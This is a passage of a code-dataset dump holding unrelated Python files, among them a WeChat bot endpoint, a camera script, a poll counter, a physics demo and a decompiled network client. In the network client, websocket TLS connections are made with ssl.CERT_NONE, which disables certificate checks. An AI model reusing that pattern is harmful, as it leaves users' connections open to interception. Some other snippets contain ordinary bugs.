word = words[0]\n word.index += 1\n word.save()\n else:\n word = HotSearchWords()\n word.index = 1\n word.keywords = param\n word.save()\n return param_list","sub_path":"apps/goods/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"460273164","text":"# -*- coding: utf-8 -*-\n\nfrom django.conf import settings\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom haotu.weixin.message.controls import extra_customer_weixin_msg_from_request\nfrom haotu.weixin.robot.engine import WeixinReplyEngine\nfrom haotu.weixin.robot.rule import WeixinReplyRule\n\nfrom haotuWeixin.weixin import response as weixin_response\nfrom haotuWeixin.weixin import operations\n\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n\ndef initiate_engine_and_set_rules():\n\t\"\"\" 初始化规则引擎,并配置规则 \"\"\"\n\n\tengine = WeixinReplyEngine(weixin_token=settings.WEIXIN_VERIFY_TOKEN, transfer_customer_service=True, default_reply=\"庄主曰:你在说虾米?\")\n\n\tengine.append_pre_operation(operations.pre_operation_get_or_create_customer)\n\n\tengine.append_rule(WeixinReplyRule(\"hello\", (\"subscribe\", '*'), weixin_response.welcome))\n\tengine.append_rule(WeixinReplyRule(\"goodbye\", (\"unsubscribe\", '*'), weixin_response.goodbye))\n\tengine.append_rule(WeixinReplyRule(\"qrcode_scaned\", (\"SCAN\", '*'), weixin_response.qrcode_scaned))\n\tengine.append_rule(WeixinReplyRule(\"hello2\", \"sub\", weixin_response.welcome))\n\tengine.append_rule(WeixinReplyRule(\"ping pong\", \"ping\", \"pong\"))\n\tengine.append_rule(WeixinReplyRule(\"regex\", \"^[qQ]\\d+$\", \"Q...\"))\n\tengine.append_rule(WeixinReplyRule(\"bind_staff\", \"^[#](\\S+)$\", weixin_response.bind_staff))\n\tengine.append_rule(WeixinReplyRule(\"flow1\", \"hi\", weixin_response.flow1))\n\tengine.append_wait_rule(WeixinReplyRule(\"flow2\", \"[0-9qQ]\", weixin_response.flow2))\n\n\n\tengine.append_rule(WeixinReplyRule(\"under_construction\", (\"CLICK\", \"UNDER_CONSTRUCTION\"), weixin_response.under_construction))\n\tengine.append_rule(WeixinReplyRule(\"article_1\", (\"CLICK\", \"FARM_ACTIVITIES\"), weixin_response.get_articles_by_event_key))\n\tengine.append_rule(WeixinReplyRule(\"article_2\", (\"CLICK\", \"HEALTHY_RECIPE\"), weixin_response.get_articles_by_event_key))\n\tengine.append_rule(WeixinReplyRule(\"article_3\", (\"CLICK\", \"MEMBER_ACTIVITIES\"), weixin_response.get_articles_by_event_key))\n\n\tengine.append_post_operation(operations.post_operation_save_msg)\n\n\tlogger.info('engine initiated!')\n\treturn engine\n\n\n# 初始化engine实例\nthe_engine = initiate_engine_and_set_rules()\n\n\n\n\ndef verify_signature_from_request(request):\n\t\"\"\"\n\t通过request.GET中的参数进行校验\n\t\"\"\"\n\tsignature = request.GET.get(\"signature\", None)\n\ttimestamp = request.GET.get(\"timestamp\", None)\n\tnonce = request.GET.get(\"nonce\", None)\n\treturn the_engine.check_weixin_signature(signature, timestamp, nonce)\n\n\ndef verify_signature(request):\n\t\"\"\"\n\t对微信的验证信息进行响应\n\t\"\"\"\n\n\techo_str = request.GET.get(\"echostr\",None)\n\tif verify_signature_from_request(request):\n\t\tlogger.info('signature succeed!')\n\t\treturn echo_str\n\telse:\n\t\tlogger.error('signature failed!')\n\t\treturn None\n\n\ndef robot_response(request, client_abbr):\n\t\"\"\"\n\t响应用户消息\n\t\"\"\"\n\n\tif not verify_signature_from_request(request):\n\t\treturn \"\"\n\telse:\n\t\ttry:\n\t\t\t# 提取出 input_msg\n\t\t\tinput_msg = extra_customer_weixin_msg_from_request(request, client_abbr)\n\t\t\t# 机器人处理\n\t\t\treply = the_engine.handle(input_msg)\n\n\t\t\treturn reply\n\t\texcept:\n\t\t\tlogger.exception(\"exception when response to weixin msg.\")\n\t\t\treturn \"\"\n\n\n\n\n@csrf_exempt\ndef listen(request, client_abbr):\n\t\"\"\"\n\t提供给微信的消息响应服务\n\t\"\"\"\n\n\tif request.method == 'GET':\n\t\t# 微信会用Get方式进行首次校验\n\t\treturn HttpResponse(verify_signature(request), content_type=\"text/plain\")\n\n\telif request.method == 'POST':\n\t\t# 用户发送消息,微信通过Post方式来请求我们的服务\n\t\treturn HttpResponse(robot_response(request, client_abbr), content_type=\"application/xml\")\n\telse:\n\t\treturn None\n\n\n","sub_path":"haotuWeixinEnterprise/haotuWeixin/weixin/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":4079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"5856683","text":"import datetime\nfrom picamera import PiCamera \nimport sys\nimport os\n\ncamera = PiCamera()\ncamera.resolution=(220,220)\ncamera.start_preview()\n# create directory to store images, if not exist\ndirectory = str(os.getcwd())+'/images'\ntry:\n os.stat(directory)\nexcept:\n os.mkdir(directory) \n\nprint (\"press any key to take picture. Enter 'exit' to exit.\")\nwhile (True):\n data=sys.stdin.readline()\n if (data==\"exit\\n\"):\n break\n camera.capture(directory+'/img-'+str(datetime.datetime.now())+'.jpg')\n\ncamera.stop_preview()\n","sub_path":"camera/jpg_output/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"478974452","text":"#!/usr/bin/env python3\nimport csv\nimport re\nfrom typing import List\n\nfrom prompt_toolkit import PromptSession\nfrom prompt_toolkit.key_binding import KeyBindings\n\nfrom common import ModeSwitchException, Entry, Mode\nfrom handlers.edit import Edit\nfrom handlers.explain import Explain\nfrom handlers.quiz import Quiz\n\nmode_settings = {\n Mode.QUIZ: {\n 'key': 'c-q',\n 'handler': Quiz\n },\n Mode.EDIT: {\n 'key': 'c-e',\n 'handler': Edit\n },\n Mode.EXPLAIN: {\n 'key': 'c-x',\n 'handler': Explain\n }\n}\ncurrent_mode = Mode.QUIZ\n\n\ndef load_file(filename: str) -> List[Entry]:\n with open(filename) as file:\n return [load_entry(line) for line in file.readlines()]\n\n\ndef load_entry(line):\n squashed = re.sub(r'\\t+', '\\t', line.strip())\n fragments = squashed.split('\\t')\n if len(fragments) == 2:\n definition = fragments[0]\n explanation = fragments[1] if len(fragments) == 2 else \"\"\n return Entry(definition, explanation, Mode.QUIZ)\n else:\n return Entry(squashed, '', Mode.EXPLAIN)\n\n\ndef save_file(filename, entries):\n with open(filename, 'w', newline='') as csv_file:\n writer = csv.writer(csv_file, delimiter='|')\n for entry in entries:\n writer.writerow([entry.definition, entry.explanation, entry.last_review_timestamp])\n\n\ndef build_mode_handlers(session, entries):\n bindings = build_common_bindings({mode: settings['key'] for mode, settings in mode_settings.items()})\n return {mode: settings['handler'](session, bindings, entries) for mode, settings in mode_settings.items()}\n\n\ndef build_common_bindings(key_mappings):\n bindings = KeyBindings()\n\n for mode, key in key_mappings.items():\n bindings.add(key, eager=True)(lambda event, _mode=mode: change_mode_closure(event, _mode))\n\n return bindings\n\n\ndef change_mode_closure(event, mode):\n # bindings.add has a parameter called 'filter', but it passes unhandled keystrokes directly to the terminal\n # causing some undesired effects like printing '^Q'\n # here we filter out these keystrokes by simply doing nothing\n if mode != current_mode:\n event.app.exit(exception=ModeSwitchException(mode))\n\n\ndef main():\n session = PromptSession()\n entries = load_file('words.txt')\n handlers = build_mode_handlers(session, entries)\n global current_mode\n\n while True:\n try:\n handlers[current_mode].prompt()\n except ModeSwitchException as e:\n current_mode = e.mode\n except KeyboardInterrupt:\n exit(0)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"442315006","text":"import grok\n\nfrom zope.interface import Interface\nfrom grok.interfaces import IApplication\nfrom megrok.reload.code import reload_code\nfrom megrok.reload.zcml import reload_zcml\nfrom megrok.reload.interfaces import IReload\nfrom zope.schema.interfaces import IVocabularyFactory\nfrom zope.component import getAllUtilitiesRegisteredFor\nfrom zope.schema.vocabulary import SimpleVocabulary, SimpleTerm\nfrom grokcore.component.testing import grok as grok_module\n\nfrom widgets import MultiCheckBoxWidget\n\ndef null_validator(*args, **kwargs):\n \"\"\"A validator that doesn't validate anything.\n \n This is somewhat lame, but if you have a \"Cancel\" type button that\n won't want to validate the form, you need something like this.\n\n @form.action(_(u\"label_cancel\", default=u\"Cancel\"),\n validator=null_validator,\n name=u'cancel')\n \"\"\"\n return ()\n\n\nclass ApplicationVocabulary(grok.GlobalUtility):\n grok.implements(IVocabularyFactory)\n grok.name(u'megrok.reload.applications')\n\n def __call__(self, context):\n rc = []\n apps = getAllUtilitiesRegisteredFor(IApplication)\n for app in apps:\n rc.append(SimpleTerm(app.__module__, app.__name__, app.__name__))\n return SimpleVocabulary(rc)\n\nclass MultiCheckBoxVocabularyWidget(MultiCheckBoxWidget):\n \"\"\" \"\"\"\n\n def __init__(self, field, request):\n \"\"\"Initialize the widget.\"\"\"\n super(MultiCheckBoxVocabularyWidget, self).__init__(field,\n field.value_type.vocabulary, request)\n\n\nclass Reload(grok.Form):\n \"\"\"Reload view.\n \"\"\"\n grok.context(Interface)\n grok.implements(IReload)\n message = None\n\n form_fields = grok.Fields(IReload)\n form_fields['applications'].custom_widget = MultiCheckBoxVocabularyWidget\n\n\n @grok.action(u'Reload Code', validator=null_validator)\n def handle_relaod(self, **kw):\n self.code_reload()\n\n @grok.action(u'Reload Code and ZCML')\n def handle_relaod(self, **kw):\n self.zcml_reload(kw.get('applications', []))\n\n def status(self):\n return self.message\n\n def code_reload(self):\n reloaded = reload_code()\n\n result = ''\n if reloaded:\n result += 'Code reloaded:\\n\\n'\n result += '\\n'.join(reloaded)\n else:\n result = 'No code reloaded!'\n return result\n\n def zcml_reload(self, applications):\n reloaded = reload_code()\n for application in applications:\n grok_module(application.split('.')[0]) ### BBB: THIS IS VERY BUGGY...\n\n result = ''\n if reloaded:\n result += 'Code reloaded:\\n\\n'\n result += '\\n'.join(reloaded)\n else:\n result = 'No code reloaded!'\n result += '\\n\\nGlobal ZCML reloaded.'\n return result\n","sub_path":"Sandbox/cklinger/megrok.reload/trunk/megrok/reload/browser.py","file_name":"browser.py","file_ext":"py","file_size_in_byte":2799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"187585770","text":"from golem_messages.message.tasks import ComputeTaskDef\n\nfrom conductor.tasks import blender_verification_request\nfrom common.helpers import get_storage_result_file_path\nfrom common.helpers import get_storage_source_file_path\n\n\ndef send_blender_verification_request(compute_task_def: ComputeTaskDef, verification_deadline: int) -> None:\n task_id = compute_task_def['task_id']\n subtask_id = compute_task_def['subtask_id']\n source_package_path = get_storage_source_file_path(\n subtask_id=subtask_id,\n task_id=task_id,\n )\n result_package_path = get_storage_result_file_path(\n subtask_id=subtask_id,\n task_id=task_id,\n )\n output_format = compute_task_def['extra_data']['output_format']\n scene_file = compute_task_def['extra_data']['scene_file']\n frames = compute_task_def['extra_data']['frames']\n blender_crop_script = compute_task_def['extra_data'].get('script_src')\n blender_verification_request.delay(\n subtask_id=subtask_id,\n source_package_path=source_package_path,\n result_package_path=result_package_path,\n output_format=output_format,\n scene_file=scene_file,\n verification_deadline=verification_deadline,\n frames=frames,\n blender_crop_script=blender_crop_script,\n )\n","sub_path":"concent_api/core/queue_operations.py","file_name":"queue_operations.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"181645302","text":"from vect import Vector\r\nimport random,math\r\ntry:\r\n import simplegui\r\nexcept ImportError:\r\n import SimpleGUICS2Pygame.simpleguics2pygame as simplegui\r\n\r\nclass Wall:\r\n def __init__(self, x, border, color,direction = \"t\"):\r\n\r\n directions = [\"r\",\"l\",\"t\",\"b\"]\r\n if(not direction in directions):\r\n direction = directions[0]\r\n print(\"error incorrect direction given\")\r\n if(direction == \"r\"):\r\n self.normal = Vector(-1,0)\r\n elif(direction == \"l\"):\r\n self.normal = Vector(1,0)\r\n elif(direction == \"t\"):\r\n self.normal = Vector(0,1)\r\n else:\r\n self.normal = Vector(0,-1) \r\n if self.vert():\r\n self.y = x \r\n else:\r\n self.x =x \r\n self.direction = direction\r\n self.border = border\r\n self.color = color\r\n def vert(self):\r\n return abs(self.normal.y) > 0\r\n def draw(self, canvas):\r\n if self.vert():\r\n canvas.draw_line((0, self.y),\r\n (CANVAS_WIDTH, self.y),\r\n self.border*2+1,\r\n self.color) \r\n else:\r\n canvas.draw_line((self.x, 0),\r\n (self.x, CANVAS_HEIGHT),\r\n self.border*2+1,\r\n self.color)\r\n\r\n def hit(self, ball):\r\n if self.vert():\r\n return abs(ball.offset(self.normal*-1).y-self.y)<=self.border\r\n else:\r\n return abs(ball.offset(self.normal*-1).x-self.x)<=self.border\r\n\r\nclass Ball:\r\n def __init__(self, pos, vel, radius, border, color,fixed =False):\r\n self.pos = pos\r\n self.vel = vel\r\n self.fixed = fixed\r\n self.radius = radius\r\n self.border = 1\r\n self.color = color\r\n def offset(self,direction):\r\n return self.pos+direction/direction.length()*self.radius\r\n def update(self):\r\n if not self.fixed:\r\n self.pos.add(self.vel)\r\n\r\n def draw(self, canvas):\r\n canvas.draw_circle(self.pos.get_p(),\r\n self.radius,\r\n self.border,\r\n self.color,\r\n self.color)\r\n\r\n def bounce(self, normal):\r\n self.vel.reflect(normal)\r\n def hit(self,ball):\r\n return (self.pos-ball.pos).length()<(self.radius+ball.radius)\r\n def normal(self,ball):\r\n return (ball.pos-self.pos).normalize()\r\n def resolve(self,other):\r\n ab = other.pos-self.pos\r\n ba = -ab\r\n print(\"new\")\r\n print(self.vel)\r\n print(other.vel)\r\n print(ab)\r\n axvel = ab.dot(self.vel)/self.vel.length()*ab.normalize()\r\n bxvel = ba.dot(other.vel)/other.vel.length()*ba.normalize()\r\n ayvel = self.vel - axvel\r\n byvel = other.vel - bxvel\r\n print(axvel)\r\n print(bxvel)\r\n print(ayvel)\r\n print(byvel)\r\n print(self.vel)\r\n print(other.vel)\r\n self.vel = ayvel + bxvel\r\n other.vel = byvel + axvel\r\n\r\nclass Interaction:\r\n def __init__(self, walls, balls):\r\n self.balls = balls\r\n self.walls = walls\r\n self.colliding = []\r\n def update(self):\r\n for ball in self.balls:\r\n for wall in self.walls:\r\n if wall.hit(ball):\r\n if not [ball,wall] in self.colliding:\r\n ball.bounce(wall.normal)\r\n self.colliding.append([ball,wall])\r\n else: \r\n if [ball,wall] in self.colliding:\r\n self.colliding.remove([ball,wall])\r\n for other in self.balls:\r\n if other != ball:\r\n if ball.hit(other):\r\n if not [ball,other] in self.colliding and not [other,ball] in self.colliding:\r\n ball.resolve(other)\r\n self.colliding.append([ball,other])\r\n else: \r\n if [ball,other] in self.colliding:\r\n self.colliding.remove([ball,other])\r\n ball.update()\r\n\r\n def draw(self, canvas):\r\n self.update()\r\n for ball in self.balls:\r\n ball.draw(canvas)\r\n for wall in self.walls:\r\n wall.draw(canvas)\r\n\r\n# The canvas dimensions\r\nCANVAS_WIDTH = 600\r\nCANVAS_HEIGHT = 400\r\n\r\n\r\n# Creating the objects84\r\n\r\nba = Ball(Vector(200,200), Vector(0,0), 20, 10, 'blue',True)\r\nbb = Ball(Vector(220,200), Vector(-1,-1), 20, 10, 'green')\r\nbc = Ball(Vector(100,100), Vector(2,3), 50, 10, 'purple')\r\nbd = Ball(Vector(300,200), Vector(0,0), 20, 10, 'blue',True)\r\nbe = Ball(Vector(400,100), Vector(0,0), 50, 10, 'blue',True)\r\nbf = Ball(Vector(500,200), Vector(0,0), 30, 10, 'blue',True)\r\nbg = Ball(Vector(1500,100), Vector(2,3), 20, 10, 'orange')\r\n\r\nwt = Wall(10, 5, 'red',\"t\")\r\nwb = Wall(CANVAS_HEIGHT-10, 5, 'red',\"b\")\r\nwl = Wall(10,5,\"red\",\"l\")\r\nwr = Wall(CANVAS_WIDTH-10,5,\"red\",\"r\")\r\ni = Interaction([wt,wb,wl,wr], [ba,bb,bc,bd,be,bf,bg])\r\n\r\n# Create a frame and assign callbacks to event handlers\r\nframe = simplegui.create_frame(\"ball-wall\", CANVAS_WIDTH, CANVAS_HEIGHT)\r\nframe.set_draw_handler(i.draw)\r\n\r\n# Start the frame animation\r\nframe.start()\r\n","sub_path":"milestone5/balls.py","file_name":"balls.py","file_ext":"py","file_size_in_byte":5276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"316817924","text":"import os\nimport csv\n\nTEXT_FILE = os.path.join(\"Analysis\", \"PyPoll.txt\")\n\npath = os.path.join(\"Resources\", \"election_data.csv\")\n#append \nvotes = []\ncandidates =[]\n\n#count candidate votes\ncounter = {\n \"Khan\": 0,\n \"Correy\": 0,\n \"Li\": 0,\n \"OTooley\": 0 \n}\n\nwith open(path, \"r\") as file:\n \n csv_reader = csv.reader(file)\n next(csv_reader)\n \n for row in csv_reader:\n votes.append(row)\n candidates.append(row[2])\n#Counter\nfor candidate in candidates :\n if candidate ==\"Khan\":\n counter[\"Khan\"] +=1\n elif candidate ==\"Correy\":\n counter[\"Correy\"] += 1\n elif candidate ==\"Li\":\n counter[\"Li\"] += 1\n elif candidate ==\"O'Tooley\":\n counter[\"OTooley\"] += 1 \n \n#counter to integer\n\n khan_votes = int(counter[\"Khan\"])\n correy_votes = int(counter[\"Correy\"])\n li_votes = int(counter[\"Li\"])\n otooley_votes = int(counter[\"OTooley\"])\n\n# Votes per Candidate by percent\n\n total_votes = khan_votes + correy_votes + li_votes + otooley_votes\n k_p = (khan_votes / total_votes) * 100\n c_p = (correy_votes / total_votes) * 100\n l_p = (li_votes / total_votes) * 100\n o_p = (otooley_votes / total_votes) * 100\n\n # Winner\n if k_p > max(c_p, l_p, o_p):\n winner = \"Khan\"\n elif c_p > max(k_p, l_p, o_p):\n winner = \"Correy\"\n elif l_p > max(c_p, k_p, o_p):\n winner = \"Li\"\n else:\n winner = \"O'Tooley\"\n\n\n# Final Print out\nprint(\"Election Results\")\nprint(\"-\" * 25)\nprint(f'Total Votes: {len(votes)}')\nprint(\"-\" * 25)\nprint(f\"Khan: {float(k_p)}% ({counter['Khan']})\")\nprint(f\"Correy: {round(c_p)}% ({counter['Correy']})\")\nprint(f\"Li: {round(l_p)}% ({counter['Li']})\")\nprint(f\"O'Tooley: {round(o_p)}% ({counter['OTooley']})\")\nprint(\"-\" * 25)\nprint(f\"Winner: {winner}\")\nprint(\"-\" * 25)\n\n#.txt file\n\nwith open (TEXT_FILE, \"w\") as file:\n file.write(\"Election Results\\n\")\n file.write(\"-\" * 25)\n file.write(f'\\nTotal Votes: {len(votes)}\\n')\n file.write(\"-\" * 25)\n file.write(f\"\\nKhan: {round(k_p)}% ({counter['Khan']})\\n\")\n file.write(f\"Correy: {round(c_p)}% ({counter['Correy']})\\n\")\n file.write(f\"Li: {round(l_p)}% ({counter['Li']})\\n\")\n file.write(f\"O'Tooley: {round(o_p)}% ({counter['OTooley']})\\n\")\n file.write(\"-\" * 25)\n file.write(f\"\\nWinner: {winner}\\n\")\n file.write(\"-\" * 25)","sub_path":"Instructions/PyPoll/.ipynb_checkpoints/PyPoll-checkpoint.py","file_name":"PyPoll-checkpoint.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"91009975","text":"#!/data/project/legobot/python/bin/python\n\n# Public domain\n# By Legoktm\n\nfrom wmflabs import db\nimport os\n\n\nquery = \"\"\"\nselect\nterm_entity_id,\nterm_text\nfrom wb_terms\nwhere term_entity_type=\"item\"\nand term_language=\"en\"\nand term_type=\"description\"\nand term_text like \"%.\"\nlimit 1000;\n\"\"\"\n\ndef make_link(_id):\n return 'Q{0}'.format(_id)\n\nwith db.connect('wikidatawiki') as cur:\n cur.execute(query)\n data = cur.fetchall()\n\noutput = ''\nfor _id, desc in data:\n output += make_link(_id)\n output += desc\n output += '
'\n\nwith open(os.path.expanduser('~/public_html/periods.html'), 'w') as f:\n f.write(output)\n","sub_path":"badperiods.py","file_name":"badperiods.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"8033720","text":"import torch\n\nfrom .transition import Transition\nfrom .trajectory import Trajectory\n\nfrom lagom.envs.spaces import Discrete\n\n\nclass Runner(object):\n \"\"\"\n Data collection for an agent in an environment.\n \"\"\"\n def __init__(self, agent, env, gamma):\n \"\"\"\n Args:\n agent (BaseAgent): agent\n env (Env): environment\n gamma (float): discount factor\n \"\"\"\n self.agent = agent\n self.env = env\n # Discount factor\n self.gamma = gamma\n \n def __call__(self, N, T):\n \"\"\"\n Run the agent in the environment and collect all necessary data for given number of trajectories\n and horizon (time steps) for each trajectory. \n \n Args:\n N (int): Number of trajectories\n T (int): Number of time steps\n \n Returns:\n D (list of Trajectory): list of collected trajectories. \n \"\"\" \n D = []\n \n for n in range(N): # Iterate over the number of trajectories\n # Create an trajectory object\n trajectory = Trajectory(gamma=self.gamma)\n \n # Reset the environment and returns initial state\n obs = self.env.reset()\n \n for t in range(T): # Iterate over the number of time steps\n # Action selection by the agent\n output_agent = self.agent.choose_action(obs)\n \n # Unpack action from output. \n # Note that do not convert to raw value from Tensor here\n # Because for Transition object, we often want to record Tensor action to backprop. \n action = output_agent['action']\n state_value = output_agent.get('state_value', None)\n \n # Execute the action in the environment\n if torch.is_tensor(action): # convert Tensor to raw numpy array\n raw_action = action.detach().cpu().numpy()\n # Handle with discrete action (must be int)\n # Now raw action is ndarray\n if isinstance(self.env.action_space, Discrete):\n raw_action = raw_action.item()\n else: # Non Tensor action, e.g. from RandomAgent\n raw_action = action\n # Take action\n obs_next, reward, done, info = self.env.step(raw_action)\n \n # Create and record a Transition\n transition = Transition(s=obs, \n a=action, \n r=reward, \n s_next=obs_next, \n done=done)\n # Record state value if required\n if state_value is not None:\n transition.add_info('V_s', state_value)\n # Record additional information from output_agent\n for key, val in output_agent.items():\n if key != 'action' and key != 'state_value': # action and state_value already recorded\n transition.add_info(key, val)\n \n # Add transition to trajectory\n trajectory.add_transition(transition)\n \n # Back up obs for next iteration to feed into agent\n obs = obs_next\n \n # Terminate if episode finishes\n if done:\n break\n \n # Call agent again to compute state value for final obsevation in collected trajectory\n if state_value is not None:\n V_s_next = self.agent.choose_action(obs)['state_value']\n # Set to zero if it is terminal state\n if done:\n V_s_next.fill_(0.0)\n # Add to the final transition as 'V_s_next'\n trajectory.transitions[-1].add_info('V_s_next', V_s_next)\n \n # Append trajectory to data\n D.append(trajectory)\n\n return D","sub_path":"lagom/runner/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":4145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"336891742","text":"a = [[int(number) for number in numberString.split(' ')] for numberString in open(\"../Data/data_018.txt\").read().split('\\n')]\n\nfor i in range(1, len(a)):\n a[i][0] += a[i - 1][0]\n a[i][-1] += a[i - 1][-1]\n for j in range(1, i):\n a[i][j] += max(a[i-1][j-1:j+1])\n\nprint(max(a[-1]))\n\n\n","sub_path":"Solutions/018.py","file_name":"018.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"177990503","text":"Import('_default_env', '_tool_env')\r\n\r\n# Upnp DidlLite description\r\n\r\nkode = _default_env.Install('$hardware_dir/share/Kodegen', 'UpnpAv/DidlLiteCs.kode')\r\ndidl = _default_env.Kodegen('$sconsign_dir/share/DidlLite/DidlLite.cs', 'UpnpAv/DidlLiteDescription.xml', KODE=\"DidlLiteCs.kode\")\r\nDepends(didl, kode)\r\n\r\n# Build library\r\n\r\ndidl += ['Properties/AssemblyInfo.cs', 'Upnp/DidlLiteAdapter.cs']\r\nclilibs = ['OssSysLib', 'OssCore', 'mscorlib', 'System', 'System.Xml', 'System.Web.Services']\r\nif _default_env['hardware'] != 'Android':\r\n lib = _default_env.CliLibrary('OssDidlLite', didl, CLILIBS=clilibs)\r\nelse: \r\n msproj = _default_env.MSBuildFileGenerator('OssDidlLite', didl, LINKS=didl, CLILIBS=clilibs, ROOTNAMESPACE='Linn.DidlLite')\r\n lib = _default_env.MSBuildLibBuilder('OssDidlLite', msproj, CLILIBS=clilibs)\r\n \r\ntest = []\r\nif _default_env['hardware'] != 'Android':\r\n test += _default_env.CliProgram('Test/TestDidlLite', 'UpnpAv/Test/TestDidlLite.cs', CLILIBS=['mscorlib', 'System.Xml', 'OssCore', 'OssTestFramework', 'OssDidlLite'])\r\n\r\nAlias('Lib', kode)\r\nAlias('Lib', didl)\r\nAlias('Lib', lib)\r\n\r\ndocs = _default_env.Doxygen('$hardware_dir/share/Docs/Tar/DidlLite.tar', didl, DOXYCLEANOUTPUTDIR='$hardware_dir/share/Docs/DidlLite', DOXYGENNAMESPACE='OssDidlLite', DOXYGENINPUT='Upnp ' + _default_env.subst('$sconsign_dir/share/DidlLite'))\r\n\r\nAlias('Docs', docs)\r\n\r\nAlias('Test', test)\r\nAlias('Test', 'Lib')\r\n\r\nDefault(['Test','Docs'])\r\n","sub_path":"LibUpnpCil/DidlLite/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"25819297","text":"#!/bin/python\n#Program to calculate simple intreset\ndef get_input ():\n PRIN = float (input (\"Enter the principal amount: Rs \"))\n TIME = float (input (\"Enter the period Months or years: \"))\n RATE = float (input (\"Enter the rate of Interest: \"))\n PERIOD = raw_input (\"Entered time is years or month : \").upper()\n return (PRIN, TIME, RATE, PERIOD)\n\ndef si_cal (PRIN, TIME, RATE):\n SI = (PRIN * TIME * RATE) / 100.0\n print (\"The Simple interest for PRINCIPAL : %s is %s\" %(PRIN, SI))\n return\n\n#Taking inputs\nPRIN , TIME, RATE, PERIOD = get_input ()\n\nif PERIOD == \"YEAR\" :\n TIME = 12 * TIME\n si_cal (PRIN, TIME, RATE)\nelse:\n si_cal (PRIN, TIME, RATE)\n","sub_path":"bin/datatypes_ex/si_interst_func.py","file_name":"si_interst_func.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"211528366","text":"# uncompyle6 version 3.6.7\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: /usr/lib/python3.7/site-packages/pynexus/net.py\n# Compiled at: 2016-08-31 07:58:37\n# Size of source mod 2**32: 2830 bytes\nimport socket, srvlookup, ssl, websocket\nports = {'tcp':1717, \n 'ssl':1718, \n 'ws':80, \n 'wss':443}\n\ndef lookupSRV(hostname, scheme):\n try:\n return srvlookup.lookup('nexus', scheme, hostname)\n except:\n return []\n\n\ndef connect(hostname, port=None, scheme=None):\n if not scheme:\n scheme = 'ssl'\n else:\n if scheme == 'http':\n scheme = 'ws'\n if scheme == 'https':\n scheme = 'wss'\n servers = []\n if not port:\n addrs = lookupSRV(hostname, scheme)\n for addr in addrs:\n servers.append([addr.host, addr.port])\n else:\n servers.append([hostname, ports.get(scheme, 0)])\n else:\n servers.append([hostname, port])\n conn = None\n if scheme in ('tcp', 'ssl'):\n conn = create_tcp_connection(scheme, servers)\n elif scheme in ('ws', 'wss'):\n conn = create_ws_connection(scheme, servers)\n return conn\n\n\ndef create_tcp_connection(scheme, servers):\n conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n error = None\n if scheme == 'ssl':\n conn = ssl.SSLSocket(conn)\n for hostname, port in servers:\n try:\n conn.connect((hostname, port))\n error = None\n break\n except Exception as e:\n try:\n error = e\n finally:\n e = None\n del e\n\n if error:\n raise error\n return conn\n\n\ndef create_ws_connection(scheme, servers):\n conn = None\n error = None\n for hostname, port in servers:\n try:\n conn = websocket.create_connection(('%s://%s:%s/' % (scheme, hostname, port)), sslopt={'cert_reqs': ssl.CERT_NONE})\n error = None\n break\n except Exception as e:\n try:\n error = e\n finally:\n e = None\n del e\n\n if error:\n raise error\n return conn","sub_path":"pycfiles/pynezha-0.0.1.tar/net.cpython-37.py","file_name":"net.cpython-37.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"146292244","text":"\"\"\"\n102. Binary Tree Level Order Traversal\nMedium\nGiven the root of a binary tree, return the level order traversal of its nodes' values. (i.e., from left to right, level by level).\n\nExample 1:\nInput: root = [3,9,20,null,null,15,7]\nOutput: [[3],[9,20],[15,7]]\n\nExample 2:\nInput: root = [1]\nOutput: [[1]]\n\nExample 3:\nInput: root = []\nOutput: []\n\nConstraints:\nThe number of nodes in the tree is in the range [0, 2000].\n-1000 <= Node.val <= 1000\n\"\"\"\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n # iterative using queue time O(n), space O(n)\n def levelOrderV1(self, root: TreeNode) -> List[List[int]]:\n res = []\n if root is None:\n return res\n q = collections.deque([root])\n while q:\n level = []\n n = len(q)\n for _ in range(n):\n node = q.popleft()\n level.append(node.val)\n if node.left:\n q.append(node.left)\n if node.right:\n q.append(node.right)\n res.append(level)\n return res\n \n # recursive time O(n), 